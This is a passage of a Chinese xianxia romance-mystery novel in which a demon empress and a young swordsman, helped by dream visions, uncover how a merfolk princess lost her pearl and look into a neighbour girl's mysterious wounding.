这还是妖皇陛下第一次亲手喂人喝水,连苏见清都没这个殊荣。 不对。 蕴禾莫名,好端端的,她干甚想起苏见清? 一转眼,杯中之水险些倒进莲若衣领中,她连忙止住,问道:“如何了,好些了吗?” 莲若缓上片刻,“好多了,多谢阿蕴姑娘。” 蕴禾:“你这眩晕之症是怎么回事?最近可经常如此?” 莲若摇头,“不常,也只有劳累过后才会如此。阿蕴姑娘切莫担心,想来我只是累着了。” 她自嘲一笑,“我现在这身子,可真真算得上娇弱了。” 蕴禾没从她身上看出病症,点点头没再说什么。 “莲姐姐,莲姐姐在吗?” 恰在这时,门外响起姑娘清脆的嗓音。 “是巷口周家的周婉妹妹。” 既是相熟的,苏见清便去开了门。 “莲姐……” 手停在半空,五官清秀的姑娘怔怔看着苏见清,眼中惊艳,“你、你是谁?为何会在莲姐姐家中?” 苏见清颔首,侧身让姑娘入内,言简意赅,“邻居。” “邻居?” 周婉觑着苏见清,低喃道:“莲姐姐何时有了这么好看的邻居?” 小姑娘面上飘红,没忍住又看了苏见清一眼。 “周婉妹妹,有事吗?” 莲若从屋内款步走出。 周婉一个激灵,急忙回神,红着脸道:“莲姐姐,这是上次柳大哥借给小弟的书籍,我特意来还的。” 她把怀里抱着的书交还给莲若,脸上红意越发浓厚。 莲若看她一眼,接过书,笑道:“好。下次若再有想看的,尽管来借便是。” 周婉点头,甜甜笑道:“谢谢莲姐姐,莲姐姐真好。” 莲若轻拍她发顶,看着小姑娘蹦蹦跳跳离开院子。 蕴禾:“如何,身子还好吗?” 莲若抱着书,笑着摇头,“没事,我去歇歇就好了,今日多谢阿蕴姑娘和苏公子。” 蕴禾理所应当地应下这声谢,“那你快进屋躺着,我和苏见清就不打扰了。” “好。” 告完别,蕴禾与苏见清回到隔壁。 “要去柳适做工的地方看看吗?” 蕴禾问:“你知道他在哪儿?” 苏见清一怔,缓缓摇头。 “行,那你去打听。” 蕴禾捂唇打哈欠,“我有些倦,先去睡一觉。” “阿蕴姑娘。” 苏见清拉住蕴禾手腕,皱着眉端详她的神色,“你最近怎么了?” 蕴禾不解,“这话什么意思?” “阿蕴姑娘最近……”苏见清斟酌着语气,“像是格外困*倦。” 往常她入眠的时辰还算正常,可这两日往往说不了几句话便喊困,苏见清实在担心。 蕴禾挣开苏见清的手,摆摆手无所谓道:“无碍,不过是做些梦罢了。或许那鲛珠的主人迫不及待想让我知道些什么。” 她往屋内走去,背影潇洒随意,“我去睡了。” 苏见清这才放下心,“好,我去寻柳适的踪迹。” 蕴禾正要点头,忽地停在屋前,转身拧眉审视苏见清,“你方才是在担心我?” 苏见清心中一紧,“我、我视阿蕴姑娘为友,自然担心。” “哼。” 蕴禾冷哼,抬起下颌,神色充斥着目空一切的霸道睥睨,语气骄矜,“本……本姑娘可不是寻常的妖,从来不需要别人担心,往后少把这种情绪浪费在我身上。” 威胁般一眯眼,她危险盯着苏见清,“听见了吗?” 蕴禾今日穿着水蓝色留仙裙,腰间缀珍珠链子,乌发被挽成花苞一样的形状,发上水晶宝石熠熠生辉,眸色清亮无垢,眉宇间的神采比日光与宝石闪烁的光辉还要耀眼。 有一瞬间,苏见清听不清自己的心跳声,却依稀听见自己轻声作答。 “听见了。” 第48章 “阿适,咱们就这么不辞而别,你弟弟会不会生气?” 有意识时,蕴禾听见身体的主人这么问。 她暗忖,这是离开柳适的家乡了? 身侧的柳适一袭广袖白衫,长发用青色发带高高束起,腰佩清风剑,端的是公子如玉,翩翩风流。 他抬手用折扇轻敲“蕴禾”额头,笑道:“咱们若是当着小颐的面告别,他岂不是更伤心?” 柳适笑着揽住“蕴禾”的肩,“你这么关心小颐,看来是越发代入嫂子的身份了。” “柳适!” 她羞恼,拍开柳适的手,握着拳头追打。 蕴禾在心里赞一声,恨不得身体的主人再用力些。 敢这么对妖族之皇动手动脚,手爪子不想要了? “打我作甚?我说得不对?你可不就是小颐的嫂子?” “柳适!咱们还没成亲呢!” “你若是想,等下次回去,咱们就当着小颐的面成亲。” “你怎么这么没羞没臊的,我不跟你说了!” “生气了?不理我了?错了错了,我错了,下次再也不开这种玩笑了。” “小仙女?仙子姐姐?你理理我,理理我嘛。” “哎呀你真烦!” “肯和我说话,那就是不生气了?” 自动过滤二人打情骂俏的话,蕴禾心道,柳颐,便是柳适弟弟的名字? 这几日与柳适夫妻接触下来,倒是从未听过这个名字。 是柳适并未与莲若提起,还是柳颐出了意外? 等蕴禾回过神来,眼前却已是另外一幅场景。 柳适二人不知游历到了何处,蕴禾目光移转,只见柳适正和一名颇为俊美阴柔的男子交谈。他们似在一处神秘之境,四周遍布嶙峋高峰,岩石翻滚,寸草不生。 “不知后饶兄可知此地是何处?” 名为后饶的男子神色冷淡,语调慢吞吞的,“此地乃北郡石林,林中妖兽多凶恶,险象迭生,若非意外,寻常修士多避着此处走。” 柳适试探询问:“后饶兄既对此地如此了解,怎会出现在这儿?” “我要找一件东西。” 后饶远眺石林,没什么情绪的眸底忽然大放异彩,嘴角轻轻勾起,满怀憧憬,“我寻了它许久,终于被我找到了。” 柳适揣度他的神情,“那不知我们可否与后饶兄同行?” “不行。” 后饶缓慢开口,“我只想一个人去。” 柳适一噎,不好再做邀请,只能礼貌与后饶告别。 “他不想与我们一道,那我们怎么走出这里?” 蕴禾听见附身的姑娘轻声开口。 柳适无奈,“没事,咱们不急,慢慢找,总会出去的。” 她勉强点头,“好吧。” 这次的梦断断续续的,蕴禾并不能完整看清二人经历了什么,只知他们在北郡石林中待了一个多月,始终寻不着出去的路。 日复一日身处相同的环境中,情绪一日日受到压迫,姑娘开始焦躁,柳适也整日眉头紧皱。 二人皆是心性坚定之人,哪怕不耐,也终日忍耐。 红日高悬,日光普照,灼热干燥,仿佛一场永远也走不出去的梦境。 过了一月。 又是一月,二人被困在此处,焦虑、压迫、烦躁……各种情绪在蔓延。哪怕沉稳如柳适也做不到冷静。 就在这时,他们面前出现一群石虎。 妖兽张口,朝二人咆哮而来,无数块碎石如滚滚江涛,汹涌澎湃着似要将柳适两人吞没。 压抑许久的情绪终于得到释放。 柳适拔出清风剑,身形如风,剑气浩瀚,杀入石虎群中。 她也忍耐不住,配合着柳适出手。 可这群石虎仿佛斩不断的江水,杀了一只,立马有另一只补上来。 柳适力气耗尽,泄力跌坐,姑娘无法,只能暂时带着他退离。 第二日,同样的时辰,那群石虎再次发起攻击。 尚未完全恢复的柳适咬牙,与姑娘避开。 第三日,消失的石虎再度出现。 蕴禾冷眼旁观,隐隐察觉不对。 按理来说,柳适二人已经避开数千里,这群石虎哪怕鼻子再灵,也不可能每次都能准确无误找到他们的踪迹。 况且,它们是如何做到每日准时出现的? 好像背后有只眼睛在默默观察一切,操纵着这群石虎攻击柳适二人。 就是不知,这两人有没有发现了。 蕴禾的视线里,柳适靠坐在岩石上,俊脸泛着不正常的红晕,汗水径直从额角坠落。他大口喘气,俨然一副力竭的模样。 看样子,他坚持不了多久了。 接下来的三日,石虎每日准时准点出现,对二人发动攻击。 姑娘终于发现不对,喘气对柳适道:“阿适,这群石虎不对劲,咱们得想办法离开这里。” 柳适抽空应声,将清风剑竖在身前,双眸紧闭,口中念起剑诀,指尖灵气游走。 “清风三千,诸邪避让,破!” 忽有一阵清风平地起,似嫩绿枝叶第一次破土而出,百花初绽,明月沉于湖面,清新、温和、美丽。 这样柔软的风在触碰到石虎时,一瞬间化为万千剑刃,将石虎绞灭,化为漫天齑粉。 “阿适!” 姑娘扶住元气大伤的柳适,焦急问道:“你怎么样?受伤了吗?” 柳适摇头,露出一抹苍白笑意,“我没事,咱们快走。” 姑娘扶住柳适,拿起清风剑,带着他快步远离此地。 她转身时,蕴禾瞥见柳适眼底猩红,脸色痛苦地皱紧眉头。 蕴禾敏锐地察觉柳适不对劲,她还想再看,可惜那姑娘埋头赶路,一门心思只想带柳适离开,并未再投过去一眼。 蕴禾无奈,嘟囔一句这姑娘死心眼,只能按捺住好奇的心,等二人落地再好好观察。 姑娘寻到一处洞穴,小心翼翼把柳适扶进去,从须弥戒内取出丹药和水,一口口给柳适喂进去。 “怎么样,好些了吗?” 柳适脸色苍白靠坐在山壁上,勉强勾唇,“没事,我好多了,不用担心。” “你脸这么白,我怎么能不担心?” 姑娘轻轻抚摸柳适的脸,压着烦躁道:“你好好在这儿待着等我,我再去找找路,今天非得离开这个鬼地方不可。” 她转身就走,下一瞬,“呲”的一声,剑刃刺入皮肉的声音。 剧痛从身体内传出,姑娘不可置信垂首,只见清风剑刺入心脏,鲜血顺着剑身流淌。 “……阿、阿适。” 柳适面无表情收回清风剑,一掌将姑娘打飞。 单薄的身子撞在山壁上,她无力跌落,一颗流光溢彩的紫色鲛珠从胸腔内飞出,飘浮在半空。 “啪嗒。” 仿佛有什么东西碎了。 瞠目结舌望着这一幕的蕴禾猛然发现自己能动了。 她飞出那姑娘体内,垂首一看,一张梨花带雨的小脸映入眼帘。 柳叶眉,含情目,温柔素婉,柔情似水。 竟是莲若。 第49章 “……阿适,为什么……?” 泪水不断从莲若眼眶里溢出,在眼角化为颗颗晶莹剔透的白色珍珠,滚落在地。 失去鲛珠令她全身失力,妖力凝滞,被贯穿的胸膛淌出大量鲜血,她嘴角溢出血渍,抬起苍白的脸,不解又痛苦。 “阿适,为什么要这样对我?” 鲛人的血从清风剑上滴落,在山洞中汇成一滩灵光闪烁的紫色水洼。 柳适垂首,碎发遮挡住面容,蕴禾看不清他的神色,只觉此刻的他浑身充斥着浓烈的杀意。 他握紧清风,嗓音刺骨冰冷,“你这妖孽,跟在我身边想做什么?” 莲若瞳孔扩大,不可置信低声喃喃,“你、你知道我是妖?” “从你出现时我便知。” 柳适缓缓抬头,一步步朝莲若走去,清风剑在地面划出一道长血痕。 他闲庭信步,嘴角笑意明朗如月,眼底却一派冰冷。 “我赶着去寻阿若,你说还是不说?” 莲若怔住,表情定格在难过与迷惑间,她忽然明白过来,强撑着身子对柳适道:“阿适,我是阿若,我就是莲若啊。” “就你也敢冒充阿若?” 柳适不屑,“也不找面镜子照照自己。” “行了,你既不说,我也懒得再问,杀了你离开此地,我自会去寻阿若。” 说着,他剑指莲若。 蕴禾看到这儿已经明白。 柳适应该是被某种幻术或者东西影响,将莲若认成了别的妖物,这才会误伤她,导致她鲛珠离体。 她皱眉望着悬浮在空中的鲛珠。 鲛珠离体百年,那莲若是怎么活下来的? 雪亮剑光从眼前掠过,蕴禾侧眸,只见柳适持剑刺向莲若脖颈。 她没力气退让,用尽力气大喊一声,“阿适!” 剑尖在离莲若半寸处顿住,眼中红芒忽隐忽现,柳适表情狰狞,挣扎不已。 “妖、妖物……我要杀了你……” “阿、阿若?你怎么了?谁伤了你?” 柳适一会儿清醒,一会儿陷入混沌,他单手抱头,侧额青筋暴露,痛苦呻吟。 “阿若,我、我怎么了?” “阿适。” 莲若强撑着身子,眼中含泪,嗓音轻柔唤他,“阿适,醒过来,别被人控制了。” “我、我……” 柳适神色痛苦,脖颈、手背青筋凸显,用极大的力气遏制自己举起清风剑的手。 “阿若,快走!” 莲若苦笑,如今这个情况,她如何能走? 眼见柳适眼中红芒大盛,她轻轻闭上眼。 柳适眸色一定,面色在刹那间变得阴寒,他毫不犹豫握住清风,一剑朝莲若刺去。 “啪嗒。” 泪水化为珍珠,滴滴答答落在清风剑上,于剑尖湮灭成粉。 一颗珍珠顺着剑身朝柳适滚去,他皱眉看着,鬼使神差伸手,将之捏住。 入手的刹那,珍珠如泡沫碎开,星星点点水渍散在柳适指腹,他仿佛被火灼烧,指尖用力一颤。 那股烧灼之意从指尖蔓延至心脏,柳适望着倒在血泊中的姑娘,心口宛如被刀割开,巨大的痛苦和恐慌一瞬袭来。 他“当啷”一下放开清风,跌跌撞撞奔赴过去,一把将莲若抱住,颤抖的手捂住她仍在流血的伤口,惊慌道:“阿、阿若,怎么会这样?” “我、我给你疗伤,阿若,你撑住,撑住。” 柳适一股脑将须弥戒中的灵丹拿出,全部喂给莲若,手捧着她的脸,眼里有泪涌出。 “阿若,咽下去,快咽下去啊。” 他骤然想起什么,凭空抓住紫色鲛珠,用灵力将之渡入莲若心口。 “对不起,阿若,对不起对不起对不起……” 泪珠砸在莲若脸上,她扯出一抹笑,“不怪你……” 眸色倏地一变,莲若慌乱,“小、小心……” 已经晚了。 蕴禾侧身,一颗玉珠穿过她的身影朝二人袭去,打断柳适的动作。 灵力泄开,鲛珠砸在莲若裙摆,柳适愤怒回头,看清来人的刹那,脸上惊怒交加。 “是你?!” 蕴禾意外挑眉,是柳适和莲若初入北郡石林遇见的那人? 他叫、叫什么来着? “后饶!” 柳适准确无误叫出来人的名字,恨得眼眶发红,几欲滴血。 “迷惑我的人,是你?” 脸色苍白的阴柔男子并未否认,轻轻点头,“是我。” “为什么?” 柳适咬牙,“我二人与你无冤无仇,为何要设此毒计?” 后饶认真道:“我要的东西到手了,现在来取下一件。” 他目光移至莲若裙摆上的鲛珠,目光痴迷,低喃道:“传言鲛人族这一代最美的鲛人,乃是阙以王族最小的公主,阙以莲若。妖域暂封,哪怕是我想进去也不容易,本以为此生与阙以莲若无缘,可谁能想到,她竟然偷偷跑出了妖域,与我在北郡石林相遇。” 后饶脸上露出笑,赞许道:“不愧是王女,这颗鲛珠,美得令我神晕目眩。” 柳适飞快将鲛珠收好,眸光警惕,暗自召回清风剑。 后饶摇头,“你二人不过强弩之末,何必与我作对?我只要鲛珠,乖乖把它交出来,我可以留你们一命。” 柳适哪怕再无知,也知道妖丹是妖修的修炼本源,而鲛珠对鲛人族来说,是关乎性命的东西,莲若失了鲛珠,哪怕用无数灵丹妙药吊住,最多也只能苟延残喘两三年。 他绝对不会把鲛珠交给眼前这个无耻小人! 后饶见状摇头叹气,“既然你不退让,那我就先杀了你,再取鲛珠。” 柳适放下莲若,义无反顾反攻而上。 这二人皆是化神修为,动起手来堪称惊天动地,山洞承受不住,轰隆坍塌。 蕴禾一言不发看着,眉头轻轻拧起。 身侧莲若一双含情目内泪光点点,视线追寻着柳适,担忧不已。 蕴禾侧眸看她,轻轻叹一口气。 可惜这一切皆是回忆,她此刻又是神魂之态,哪怕再想帮忙,也无济于事。 她冷眼看向半空中的后饶。 这要是在现实里,她一拳把他头给打爆! 觊觎什么不好,偏偏觊觎别人的鲛珠,这不就跟惦记人修心脏一样吗? 恶心,变态! 柳适好歹也是个化神,虽前几日消耗了许多灵力,但他可是修士之中被誉为最强者的剑修,勉强与全盛时期的后饶打个平手。 这场大战持续了整整三日。 第四日时,后饶大抵是不耐了,攻势越发猛烈。 柳适招架不住,应付得格外吃力。 他像是做出了什么决定,回眸望了莲若一眼,嘴角笑意荡开,清风般温和的嗓音落至莲若耳畔。 “阙以莲若,很好听的名字。” “阿若,其实你一点也不会隐藏,见到你的第一面,我就知道你是妖。却不知,你竟是那般美的妖。” “可惜,此生怕是不能见到作为鲛人的你了。” “我早该提醒你的,玄清域对你来说太危险,早些回妖域去吧。” 莲若瞪大眼,珠串从面颊上滚落,她声嘶力竭地吼,“不!” 蕴禾伸手,除了满手清风。 她抬眸。 温柔的风化为这世间最坚韧的剑,剑光织成剑网,将中心二人牢牢包裹。 剑气同时穿过他们的身影,仿佛一场白日流星,美得令人心殇。 “轰——” 灵气爆炸,气浪卷起碎岩,山峰轰隆倒塌。 过了许久,尘埃落定。 天地间一片静谧,唯有一声嘶哑哽咽的嗓音颤抖着唤着心上人,柔弱身影艰难向前匍匐。 “阿适……” “柳适——!” 第50章 坍塌的世界里,莲若抱着双眼紧闭,气息微弱的柳适哭得双眼通红。 双手从柳适身上轻抚而过,她喃喃道:“他还活着,他没死,我要带他离开这里,离开这里……” 她抹去眼角珍珠,将身上灵丹灵药全部喂给他,拼尽全力带他离开此地。 蕴禾的身影不由自主跟随。 她看着莲若艰难带着柳适走出倒塌的北郡石林,躲在山洞中,日夜守在他身旁,生怕柳适就此消失。 在莲若的照料下,柳适的气息逐渐稳定,可他外表虽看着安然无恙,内里却是千疮百孔。 莲若伤势也不轻,只能将他暂且安置在山洞里,外出寻找疗伤圣药。 半个月后,一座熟悉的城池出现在蕴禾眼前。 红枫热烈如火,风铃清脆响亮,枫叶簌簌而落,铺就一座和谐安宁的城池。 枫泠城。 莲若抬头,安静注视片刻,缓步走过城门。 她放出手里有妖族珍贵之物的消息,从城主碎金那儿交换了许多灵丹,可即便如此,依旧是杯水车薪。 柳适始终没有苏醒的迹象。 莲若白日为柳适擦身,轻声与他说话,试图唤醒他的神志。夜深人静之时,她独自蜷缩在角落,看着昏迷不醒的心上人咬牙哭泣,连哭声都不敢泄出。 到了第二日,她又打起精神,佯装无恙,笑意盈盈与他说话。 一日日绝望,一日日崩溃,又一日日心生期待,莲若逐渐消瘦,昔日璀璨小脸变得苍白憔悴。 柳适就像一座精致的雕塑,无法出声,无法做出回应,若非气息尚存,蕴禾真的要以为他已经死了。 七日后,越发憔悴的莲若拿出离体已久的鲛珠。 琉云璃彩的紫色鲛珠躺在白皙掌心,珠内光芒璀璨,珠外折射出耀眼夺目的光芒。 莲若手捧鲛珠,不舍用脸颊轻蹭,略一闭眼后,眼里皆是坚定。 她再度前往枫泠城,跪在碎金面前,乞求用鲛珠换一部分他的本源之心。 当年的碎金已经有了如今的滑头模样,只是无论何时,身为木灵的他都有一颗仁爱之心。看着莲若心如死灰的模样,他心里实在不忍。 加春化为人形站在碎金身旁,冷嘲热讽一通,“她的鲛珠珍贵,你的本源之心就不珍贵了?” 碎金小声辩驳,“她是鲛人,鲛珠不可再生,我是木灵,还可以再生的嘛。这样算下来,我也不吃亏。” 加春恨铁不成钢点碎金额头,“长点脑子吧,你损失的本源之心,或许要用千年才能恢复。” 碎金讷讷,“不、不过是千年光影,弹指一瞬,我给、给得起。” 尾音在加春要吃人的目光里越来越小。 加春怒而挥袖,“我不管了,你爱怎么样怎么样,等你为了点金银珠宝被坑害死,可别来找我哭!” 碎金窝窝囊囊低声嘟囔,“还说我呢,先担心担心你自己吧,当心哪日被野男人坑了。” 加春的声音远远传来,“你嘀嘀咕咕什么呢?” “没什么没什么!” 碎金条件反射抱住脑袋,飞快摇头。 蕴禾瞧他这样还挺新鲜。 这两个木灵,一个爱金银,一个爱美色,别说,还挺般配。 碎金还是用一部分本源之心换了莲若的鲛珠,她感激道谢,匆匆回到山洞,将碎金的本源之心渡到柳适口中。 掌心抚摸心上人冰冷侧脸,莲若低声乞求,“阿适,你快醒过来吧。” 只要你醒过来,哪怕只能再陪伴你短短数载,我也心甘情愿。 …… 睁眼的刹那,鼻尖嗅到一点不同寻常的气息,蕴禾快速起身,身影一晃,朝外飞去。 “呃……啊……救、救命……” 到地方时,蕴禾只看见一道倒在血泊中的娇小身影。 她快速上前,拨开那人脸上的发丝,略有意外。 竟是那名去莲若家还书的小姑娘。 好像是叫……周婉? 察觉到有人来了,周婉暗淡的眼眸一刹绽放出神光,染血的苍白手掌拉住蕴禾的衣袖,气息微弱,“姐、姐……救、救救我,求你……” 眼泪从眼角挤落,小姑娘疼得面如金纸,嘴唇苍白,可怜不已,“姐姐,求你……救救我……” 蕴禾从储物手链里取出灵丹喂到周婉嘴里,轻轻拂开她的手,指尖一划,周婉的身子凭空落到院中藤椅上。 她暂且顾不上其他,快速追出去。 此时正值午后,巷内安宁静谧,空无一人。 蕴禾闭眼,庞大妖气悄无声息笼罩住整个巷子,寻找魔修的气息。 片刻后,蕴禾睁眼,眸底恼怒溢出,气恼地深吸一口气。 她折回周婉家,又给她喂一颗灵丹,催促她醒来,迫不及待问:“今日怎么回事,谁伤了你?” 周婉呆呆看了她半晌,在蕴禾逐渐不耐的目光下哭哭啼啼道:“我不、不知道。我只是在家里洗衣裳,忽然感觉好疼好疼,身上好多伤口。” 蕴禾皱眉,“不是有人袭击你?你没看清他的长相?” “不知道。” 周婉哭着摇头,“我真的不知道。这位姐姐,到底是谁和我有深仇大恨,非要杀我?姐姐你救救我好不好?我有钱的,我把压岁钱都给你。” 蕴禾长指按住太阳穴,不想再听她废话,索性仰头扯着嗓子喊:“啊!杀人了!” 声音响彻整座巷子,瞬间惊动了所有人,纷纷出门查看情况。 “怎么了怎么了?” “发生什么事了,什么杀人?” “啊!这不是周家丫头吗?你这是怎么了?” 周家院门前很快围了许多人,对着周婉嘘寒问暖。 蕴禾立在一旁,目光从每个人身上扫过。 “阿蕴姑……阿蕴!” 苏见清不知从何处跑来,视线在蕴禾衣袖上一落,语带惊慌,“你可有事?” “我能有什么事?” 蕴禾朝他翻白眼,手指着被围在中间的周婉,“是她险些出事了。你今日去找到……” 话音一顿,蕴禾看着柳适跟在苏见清身后,瞧见周婉浑身的血脸色一变,追问道:“不知阿蕴姑娘可有看见我家娘子?她……” “夫君,阿蕴姑娘,苏公子,你们在这儿做什么?” 蕴禾转身。 一身蓝色素裙的莲若站在院外,踮着脚尖往里看。 “发生什么事了?” 蕴禾盯着她,眼睛缓缓眯起。 之前她私心里认为此事与莲若无关,那是以为她不过是个普通的女子。 可她是阙以莲若,鲛人王族最小的公主。 她在梦境中看得清清楚楚,莲若将鲛珠换给了碎金,甚至那颗鲛珠现在就在她的储物手链里。 那么,失去鲛珠的阙以莲若,是怎么活到现在的? 封柔的死与周婉的伤,可与她有关?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 “阿、阿蕴姑娘……” 莲若不解,“你怎么这么看着我?” 柳适不着痕迹上前一步,挡住蕴禾的视线,低声对妻子道:“阿若,周婉受了伤,你就别进去了。” 蕴禾回神,身子一歪往苏见清身上倒,气息“微弱”道:“没什么,我只是被吓住了。也不知是谁如此狠毒,周婉姑娘还这么小,竟然想要她的命。” 苏见清耳根一红,不自在地把她接住,听完蕴禾的话,偏头看向一身是血的周婉,双唇紧紧抿住。 “是啊,此处不太安生,阿若,我还是先带你回去吧。” 柳适拉住莲若,顿了顿,对蕴禾二人仓促点头,旋即带着莲若离开。 蕴禾双眼微眯注视他们的身影。 如今的柳适,实在不像她梦境中的那个人。 是他被治好后性格在这百年内发生了转变,还是…… 出神间,肩膀被人轻轻一捏,蕴禾站直身子,拉住苏见清穿过人群,回到自个儿家。 一进门,她当即问道:“你是和柳适一起回来的?” 苏见清点头,“不错。” 他面色犹疑,“你怀疑周姑娘的伤,是他所为?” 不等蕴禾回复,他解释,“不是他。我在一个时辰前在城北一家书铺里找到柳适,此后一直与他待在一处,期间他从未离开过我的视线。” “除非……” 顿了顿,苏见清道:“除非他与瞿诏三兄弟一样,拥有分身。” “我没说是他,只是在确认。” 蕴禾将梦境中的所见和盘托出,撑着下巴道:“哪怕感情上再不情愿,我现在最怀疑的,是莲若。” 苏见清目光移至隔壁,忽然问道:“阿蕴姑娘,在梦境里,你从未看清柳颐的脸吗?” 蕴禾点头,“不错,我只模糊看见一道身影,但柳颐和柳适既是双生子,想来容貌应当极为相似。” “不。” 苏见清轻轻摇头,长睫微垂,轻声道:“有的双生子,生得并不相似。” 蕴禾意外,“怎么,你见过?” 苏见清:“嗯。” 他显然并不想提及此事,生硬转移话题,“阿蕴姑娘既然怀疑莲姑娘,那咱们将她盯紧就是,你睡了这么久可饿了?我去给你做饭。” 匆匆转身,苏见清快步走进厨房。 蕴禾歪着脑袋随着他的步伐转身,盯着苏见清的背影一脸沉思。 如此避之不及,他见的双生子是谁? 可惜神控术无法施展,不然她非得弄个明白不可。 蕴禾幽幽叹气。 怎么就对他无效呢? 至于莲若,蕴禾如今算是明白了。 鲛人一族擅幻术,歌声可蛊惑人心,莲若是鲛人族王女,神识较之一般鲛人更是强大,神控术在她身上无效也不奇怪。 正思索着,外头忽然喧闹起来。 蕴禾分出一缕神识出去查探,见一群城主府的护卫匆匆赶来,查探周婉遇袭一事。 周婉有她喂的药,伤势已无大碍,只是身子尚虚弱,被慌张赶回家的周母抱在怀里,轻轻说着自己的遭遇。 那护卫长听完安慰几句,随后便朝蕴禾家而来。 片刻后,院门被人敲响。 苏见清已察觉异常,举着锅铲走出来。 蕴禾对他使了个眼色,“没事,你自己做自己的,我来应付。” 苏见清点头,“好。” 等他回去,蕴禾不耐啧声,打开院门。 门外站着一名中年男子,眉心折痕深刻,显出几分凶相。 蕴禾装作茫然,“你是?” 护卫长开口,嗓音发沉,“我是城主府的守卫,你是阿蕴?” 在苏见清口中如此好听的阿蕴,被这位护卫长念来沉闷又粗哑。 蕴禾不着痕迹翻了个白眼,惊讶道:“我是,阁下是为了周姑娘的事而来?” 见她聪慧,护卫长脸色微缓,“你将事情的经过一一说来。” “我今日无事,在这巷子里闲逛,走到周婉姑娘家时忽然闻到一股浓烈的血腥味,我敲了门,可惜无人应答,等我强行破门而入时,却见周婉姑娘倒在血泊中。” 护卫长:“当时你确定那院子里只有她一人?” 蕴禾点头,“我确定。” 护卫长又问了几个问题,蕴禾回答得滴水不漏,他眉头拧紧,沉着脸离开。 蕴禾关上院门,伸着懒腰在院里石桌前坐下,单手托腮出神。 苏见清动作快,把饭菜端上来,“可以吃了。” 她这才回神,动鼻子嗅两下,感慨道:“好香啊。” 苏见清眼中含笑,将竹筷递给她。 用完午饭,苏见清去收拾,蕴禾足尖一点跃上屋檐,半躺在屋檐上观察隔壁。 片刻后,白衣剑修也一跃而上,他站在檐角,衣袍翩飞,发带随风而舞,飘飘欲仙,清隽出尘。 隔壁烟囱上空白烟袅袅,香味顺着空气飘至鼻尖,蕴禾嗅了嗅,托腮道:“这个时辰还在做饭,方才柳适应该安慰莲若许久吧。” 她拧眉不解,“我很好奇,莲若好歹也是个鲛人王女,鲛人听着美丽精致,但也凶猛不已,为何柳适总将她当成柔弱女子?” 苏见清回眸,发带顺风飘至脸侧,眉眼似朝露清透干净,猜测道:“莲姑娘能活下来已是不可思议,也许是柳前辈用了什么法子强行替她续命,导致莲姑娘身子虚弱?” 蕴禾偏了下头,“或许吧。” 厨房内响起莲若温柔的嗓音,“夫君,你去把外头架子上的簸箕拿来。” 蕴禾想,如今的莲若倒是比之梦境之中的多了两分温柔,少了些许活泼。 视野里,柳适从屋中走出,拿起架子上的簸箕。 蕴禾眨眨眼,故意撤去她和苏见清身上的结界。 院中的柳适立即察觉到二人的存在,眼含冷光急遽朝上射来。 蕴禾挑眉,饶有兴致与他对视,眉目间皆是挑衅。 有本事你出手啊。 柳适握住簸箕的手发紧,扬起的脖颈上青筋跳动,另一只手快速掐起一道术法,朝蕴禾急射而去。 蕴禾连根头发丝都没动,那道术法已被苏见清截住。 她露出笑,弯起嘴角无声对柳适道:就这? 柳适眉头下敛,俨然亦是怒极,正欲再次出手,屋内莲若疑惑道:“夫君,簸箕呢?怎么去了这么久?” 这声音唤回了柳适的理智,他深吸一口气,不再看屋檐上令人厌恶的二人,迈步朝厨房走,温声道:“来了。” 蕴禾暗忖,无论是百年前还是百年后,这柳适对莲若,倒是一如既往地温柔体贴。 第52章 盯了小半日,这两人谁也没走出院门。 蕴禾无奈,招呼苏见清去隔壁,“你去做两样菜,晚上咱们带去隔壁。” 语气理所当然,霸道又不容置疑。 苏见清弯唇,眸光在黄昏里折射出温柔绚丽的光,好脾气应道:“好。” 家里食材不够,苏见清要去采买。 阿蕴姑娘挺喜欢观沧海的食物,他*准备多买些放在芥子囊里。此间事了,想必他们一时半会儿的不会再来此地,得把食材都提前备好,阿蕴姑娘想吃的时候,他才能有东西拿出来。 监视是件特别无聊的事,蕴禾半卧在青羽内,耷拉着眉眼无所事事地取一绺头发在指间绕来绕去。 见苏见清要出门,她骤然勾一缕神识放在他身上。 她的行为光明正大,毫无掩饰的意图,动作的最初苏见清便察觉到了。 分明无形无踪,可蕴禾神识靠近的一刹那,苏见清蓦地全身僵硬。 恍惚间觉得,似有一股暖意靠近后颈,温热的气息吹动颈后碎发,红晕顺着修长脖颈往上攀升,蔓延至苏见清白皙双颊。 “阿、阿蕴姑娘……?” 蕴禾居高临下瞟他,语气理所应当,“我无聊,分一缕神识跟你出去,不行吗?” 苏见清红着脸磕磕绊绊道:“当、当然可以。阿蕴姑娘想跟就跟。” 他转身,同手同脚往外走,颇有些落荒而逃的意味,“阿蕴姑娘,我、我先走了。” 蕴禾撇嘴收回视线。 呆头鹅。 跟着苏见清去了观沧海最大的市集,蕴禾的神识趴在他头顶,看着年轻剑修采购。 或许是念及蕴禾的存在,起初苏见清行动颇不自然,后来才慢慢恢复过来,一脸平静地和商贩讨价还价。 蕴禾很是惊奇。 这呆子看着光风霁月的,没想到买东西竟然还会杀价,倒是出乎她的意料。 苏见清买了几十斤蟹放入芥子囊,卖蟹的婶子乐得合不拢嘴,笑着恭维。视线一转落在苏见清腰间,婶子好奇道:“这是什么兽?看着还怪可爱的。” 苏见清垂首,眸底透出温柔,“这是食铁兽。” 婶子乐呵呵的,“这灵兽是公子的心上人送的吧?” 这位公子瞧着不像是会佩戴可爱灵兽玩偶的人,婶子断定,这东西定然是姑娘给的。 苏见清的脸瞬间红了,想着阿蕴姑娘此刻正在看他,连忙否认,“婶子误会了,这是我自己的。” 婶子目光意味深长。 活到她这个岁数,什么风流韵事没见过?一提到心上人,这公子脸都红了。她对苏见清眨眨眼,飞去一个我懂的眼神,嘿嘿乐道:“这有什么好害羞的?年轻人,胆子大些,若是喜欢,你只管上。否则将来有你后悔的。” 婶子喋喋不休,“当年我看中了对门的……” 这婶子话多,一说起来就没个停顿,苏见清无奈,面上认真听着,心里却暗暗祈祷,阿蕴姑娘莫要介怀。 此时的蕴禾注意力并未落在苏见清身上,自然也没听见他和婶子的谈话。 她托腮,端详走出院子的莲若。 姑娘穿素色暗纹窄袖罗裙,腰肢不盈一握,蹲在院内伺候花草,樱花似的两瓣唇一张一合,吐出一段轻柔空灵的小调。 掌中花草在歌声下舒展枝叶,顶端一朵小花苞隐隐有开放的迹象。 莲若双眼弯弯,指尖抚摸花苞,“别急,慢慢开。” 